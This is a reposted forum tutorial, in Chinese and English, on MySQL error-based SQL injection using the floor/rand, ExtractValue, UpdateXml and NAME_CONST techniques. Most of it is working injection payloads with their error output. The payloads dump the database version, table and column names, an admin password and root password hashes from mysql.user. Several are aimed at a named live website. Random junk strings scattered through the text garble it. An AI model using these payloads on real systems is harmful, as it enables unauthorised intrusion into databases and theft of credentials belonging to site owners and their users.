mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
5 S" o' S  @7 o5 J" m+—-+——-+———+
9 \) Q- L3 I, f- {| id | title | content |
" E9 ]3 f6 [8 Y* b3 ]1 B5 J7 i" G+—-+——-+———+
! X; e$ z& @: b( V9 y/ i|  1 | test  | do it   |
4 f& _6 p' x) R$ l9 v+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
6 @6 t! Z# D4 i' fERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
6 v! u3 A1 M! kERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
. |1 U, f6 v! C/ l2 q- q4 b9 r- t6 J测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

8 g8 \% ~0 U7 k, T" Q
- x: I# P4 S* A% K7 G

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
1 h. I; a8 A" H; j7 t7 G& [0 Q
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
, e! P# P: e$ i' O- uIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
0 c3 d% m5 V; i1 P
, I4 L1 @8 \0 \# j
相关信息
3 _/ j4 h5 W, F% i9 R
! U/ p, x$ a1 Y' ]  M1 R/ O- X( s0 fNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

8 c0 d& J/ o( Q5 lCode:
NAME_CONST(DATA, VALUE)
* N, O( w& R; O2 s
) l# S, w) g# t" ]( e1 M7 @Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

SELECT NAME_CONST('TEST', 1)

5 F$ }3 ~& X6 c( e, d3 f
3 e8 c6 v/ w; W6 s
# m5 [0 V- \# W5 L6 W& V6 q4 ||---------------|
; k) a4 L* ]9 F|     TEST      |
|               |
|---------------|
|       1       |
|               |
|---------------|
0 V+ ]+ i9 @. }. d4 w
; m5 L7 h/ c) w$ ~. N% l

5 h9 ]- E9 S; i! L
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
' H1 r6 I0 x6 a1 {. n# N# Q4 JIntro to MySQL Variables

0 P! C; j6 e, |8 g' U0 x- Z/ iOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

5 f& _  V1 I+ C2 B4 |0 i4 OCode:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261


! C( {. }0 B( D/ l) W% t3 L- e8 {


Code:
: S* w3 s+ p+ i) q) x0 tand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--

: E1 B1 y6 \- ?" N
VAR = Your MySQL variable.
' a- D* ?- c  ]5 ]+ U1 _! @
  l5 n4 k9 }2 |" eMySQL 5.1.3 Server System Variables
/ L$ N2 n4 |+ b2 e- v1 ]- Q
Let's try it out on my site..
/ @  Z. B0 n+ m# i
/ S+ L0 L  c! ~2 ^% n4 YCode:
8 S) E6 X. o3 G- I: v! ~http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

4 q% U1 j8 J+ sErroruplicate column name '5.0.27-community-nt'

1 e6 P% V7 W) D- B& e

! N  v7 Z+ g9 S2 G
" x# D7 k# Z8 K7 U2 ]: ~
+ A, a2 H; W3 ]. BNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
2 m7 h$ B' u- T* N! ]* v
6 X9 F( J+ T3 G, A# W& k: g% |Data Extraction
3 `% l0 u' W' }; R  O
Code:
; L  Y& ]: X6 X+ {+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--

; o* @. R5 W( K9 \
We should get a duplicate column 1 error...

+ B/ U  _  w( [# YCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
0 C5 a/ R9 `0 N2 C' J  w
; a) ?- m% k1 e5 l& k# U8 ]) ~$ gErroruplicate column name '1


$ A/ C% m7 s1 i7 O


3 ]1 V9 T) _' H) f& ?8 d
  }& o* V2 J& p$ D# |  WNow let's get the tables out this bitch..

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


) G) P* l2 L9 F6 u+ ULet's see if it works here, if it does, we can go on and finish the job.

Code:
! {% V( u* V& @5 @* ]! rhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
( |8 ^) u1 g/ g& |3 v( ]

Erroruplicate column name 'com_admanage
+ w; z! J; J7 Z( e


2 G% s* s# _* ]3 f4 D" u, T/ i


% ^4 N: Y( a( y5 JNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.

3 f) W4 H& x9 ~% K+ U! zLet's get the columns out of the user table..
' U# |3 c2 E3 {% A. F0 V8 m/ T
! z7 f( S% o: t/ G7 n8 D8 ECode:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--


5 _7 B! n% W5 @9 j. ~So mine looks like this, and I get the duplicate column name 'Host'.
/ {) i+ a% z& Z
Code:
, \) ?  D! `8 `2 a; |3 \7 hhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
6 p5 f5 _! I, q8 h
2 L0 n3 B( U& F5 sErroruplicate column name 'Host'

. X/ X, Q8 }; X. ]


& Z% H- R3 K5 V4 q- l6 }
" V! `  R9 i  O4 h2 o; E
Woot, time to finish this bitch off.

Code:
) i8 ?8 S+ S5 |/ ~8 e+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--

" y/ w( Q/ J. t  n6 f1 B
So mine looks like this...

Code:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

1 \: U7 h& {6 c4 |; KErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'



8 i: B6 u6 p% ]# a3 H* j: `

; k" q" e0 j& V( K. q% w
9 a! b3 g% P: u6 r4 O- ^. k, qAnd there we have it, thanks for reading.
3 P/ A7 {3 H+ ]1 E' j/ q6 {9 z4 V- z. }
& V8 T3 ?( x) E4 D  T- c' O5 q7 n1 K